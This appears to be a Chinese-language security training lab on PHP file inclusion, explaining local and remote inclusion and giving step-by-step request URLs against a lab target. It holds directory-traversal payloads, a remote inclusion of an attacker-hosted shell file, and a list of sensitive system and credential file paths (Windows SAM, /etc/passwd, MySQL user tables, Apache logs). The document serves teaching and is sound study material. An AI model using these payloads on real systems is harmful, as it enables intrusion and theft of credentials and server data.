实验原理
文件包含漏洞可以分为LFI(Local File Inclusion,本地文件包含)和RFI(Remote File Inclusion,远程文件包含)两种。而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
远程文件包含需要php.ini中allow_url_include=on,allow_url_fopen = On。在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
实验步骤
本地包含
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/02/1.php?a=hello.txt,包含服务器本地当前目录下的文件
2、在浏览器中访问http://ip/include/02/1.php?a=…/include.php,包含服务器本地上一级目录的文件
3、在浏览器中访问http://ip/include/02/1.php?a=…/01/1.jpg,包含服务器本地其他目录的文件,进行目录遍历
远程包含
1、打开"phpStudy",启动操作机的Apache服务
2、在操作机的Web根目录下新建include.php
3、在浏览器中访问http://靶机ip/include/02/1.php?a=http://操作机ip/include.php
实验总结
通过本实验,掌握文件包含的分类。
文件包含分为包含和远程包含。本地包含是包含目标服务器本地的文件,可以包含同目录下的文件:?file=test.txt;也可以进行目录遍历来读取文件:?file=./…/…/test.txt。其中./是当前目录,…/是上一级目录。远程包含是包含远程服务器上的文件,?file=http://www.test.com/shell.txt(常见的有三种,http、https、ftp)。
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
实验原理
利用文件包含漏洞可以包含一些操作系统的敏感文件,从而读取重要信息。
Windows系统敏感信息:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysql\my.ini //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD //Mysql root C:\windows\php.ini //php配置信息
......
Linux系统敏感信息:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
......
实验步骤
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、在浏览器中访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息
3、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\conf\httpd.conf,包含Apache配置文件获取信息
4、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\logs\access.log,包含Apache的访问日志获取信息
5、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\logs\error.log,包含Apache的错误日志获取信息
6、在浏览器中访问http://ip/include/include.php?page=C:\Windows\system32\drivers\etc\hosts,包含hosts文件获取信息
7、在浏览器中访问http://ip/include/include.php?page=C:\Windows\win.ini,包含Windows系统的基本系统配置文件获取信息
实验总结
通过本实验,掌握利用文件包含可以获取很多敏感信息,包含不存在的文件可以获取Web服务器、Web根目录、网站路径以及服务器的操作系统信息,根据Web服务器和Web根目录可以获取Apache的配置文件信息和日志文件信息,同时在知道服务器的操作系统后,也可以包含一些操作系统的敏感文件获取相关信息。利用文件包含获取敏感文件就是需要尽可能多的收集敏感文件的路径。